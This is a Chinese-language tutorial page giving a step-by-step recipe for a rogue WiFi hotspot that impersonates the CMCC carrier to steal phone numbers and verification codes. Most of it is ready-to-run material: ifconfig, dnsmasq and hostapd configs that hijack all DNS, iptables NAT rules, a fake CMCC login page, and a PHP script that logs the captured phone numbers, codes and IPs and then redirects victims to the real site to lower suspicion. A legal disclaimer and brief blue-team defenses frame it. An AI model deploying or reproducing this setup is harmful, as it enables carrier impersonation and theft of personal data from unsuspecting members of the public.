Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> 電腦軟體教學 >> 電腦軟體介紹

自建釣魚 WiFi 熱點竊取手機號:Kali/BT5 + SET + DHCP + Apache 完整實施流程

編輯:電腦軟體介紹

法律警示:未經授權建立釣魚熱點、竊取個人資料屬違法行為(違反《網絡安全法》第 27 條、《個人資訊保護法》)。本文僅供授權滲透測試/安全教學/靶場演練參考,嚴禁用於非法用途。

攻擊原理

  1. 建立偽裝合法 SSID(如 `CMCC`、`ChinaNet`、`Starbucks`)的開放熱點。
  2. DHCP 分配 IP、閘道指向攻擊機、DNS 指向攻擊機。
  3. Apache 託管釣魚頁面(仿造運營商認證/社群登入/郵箱登入)。
  4. SET (Social-Engineer Toolkit) Wireless Attack Vector 自動配置 hostapd/dnsmasq/Apache/iptables 實現 Captive Portal 強制彈出釣魚頁。
  5. 受害者連線 → 瀏覽器自動觸發 Captive Portal 檢測 → 重導向釣魚頁 → 輸入手機號/帳密 → 攻擊機後端記錄。

環境準備

  • 支援 AP 模式無線網卡(如 RTL8187/RTL8812AU/MT7601U),驅動已載入 `mac80211`。
  • Kali Linux / BackTrack 5 (BT5) / 任何現代 Linux 發行版。
  • 安裝套件:`hostapd`、`dnsmasq`、`apache2`、`php`、`setoolkit` (SET)。

逐步實施命令(BT5/Kali 通用)

# 1. 啟用介面並配置靜態 IP (攻擊機作為閘道)
ifconfig wlan0 up
ifconfig wlan0 192.168.10.1/24

# 2. 安裝並配置 DHCP (dnsmasq 更輕量)
apt-get update && apt-get install -y dnsmasq hostapd apache2 php setoolkit
cat > /etc/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=192.168.10.10,192.168.10.100,255.255.255.0,12h
dhcp-option=3,192.168.10.1
dhcp-option=6,192.168.10.1
address=/#/192.168.10.1
EOF
systemctl restart dnsmasq

# 3. 配置 hostapd (AP 模式)
cat > /etc/hostapd/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CMCC
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
EOF
# 測試 AP
hostapd /etc/hostapd/hostapd.conf

# 4. 配置 Apache 釣魚頁面
cat > /var/www/html/index.html <<EOF
<!DOCTYPE html>
<html><head><meta charset="utf-8"><title>CMCC WiFi 認證</title></head>
<body>
<h2>歡迎使用 CMCC WiFi</h2>
<form action="capture.php" method="POST">
手機號: <input name="phone" type="tel" required><br>
驗證碼: <input name="code" type="text" required><br>
<button type="submit">免費上網</button>
</form>
</body></html>
EOF
cat > /var/www/html/capture.php <<EOF
<?php
$log = fopen("captured.txt", "a");
fwrite($log, date("Y-m-d H:i:s")." | Phone: ".$_POST['phone']." | Code: ".$_POST['code']." | IP: ".$_SERVER['REMOTE_ADDR']."\n");
fclose($log);
header("Location: https://www.cmcc.com"); // 重導向真實頁面降低懷疑
?>
EOF
systemctl restart apache2

# 5. 啟用 NAT 轉發 (讓受害者能上網,增加可信度)
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -j ACCEPT

# 6. 使用 SET Wireless Attack Vector 自動化 (替代手動上述步驟)
cd /pentest/exploits/set/
./set
# 選單: 1) Social-Engineering Attacks → 8) Wireless Access Point Attack Vector → 1) Start
# 按提示選擇 wlan0、SSID、DHCP 範圍、釣魚頁面路徑

關鍵截圖(原文保留)

釣魚WiFi架構圖 介面配置 DHCP安裝 dnsmasq配置 dhcpd.conf 釣魚頁面 SET選單1 SET選單2 SET啟動 熱點生效 受害者手機頁面 UC瀏覽器效果 UC瀏覽器效果2

藍隊檢測與防禦

  1. 無線入侵檢測系統 (WIPS/WIDS):偵測非授權 AP(Rogue AP)、偽裝 SSID、Captive Portal 流量特徵。
  2. 客戶端防禦:手機關閉「自動連接開放網路」、啟用「驗證網路需求」、使用 HTTPS Everywhere、不在陌生熱點輸入敏感資訊。
  3. 企業級:802.1X/EAP-TLS 憑證認證、MAC 地址綁定、無線控制器下發合法 AP 白名單、定期掃描非授權 AP。
  4. 流量分析:DNS 劫持/HTTP 重導向/非標準 Captive Portal 門戶特徵匹配。

總結與反思

技術門檻極低(單張支援 AP 模式網卡 + Linux + 幾條命令),危害極大(收集手機號、帳密、Session、推送惡意 APK/配置描述檔)。防禦核心在於用戶安全意識與網路基礎設施可見性。滲透測試人員請嚴格遵循授權範圍,藍隊同仁請優先部署 WIPS 與用戶教育。

Copyright © Windows教程網 All Rights Reserved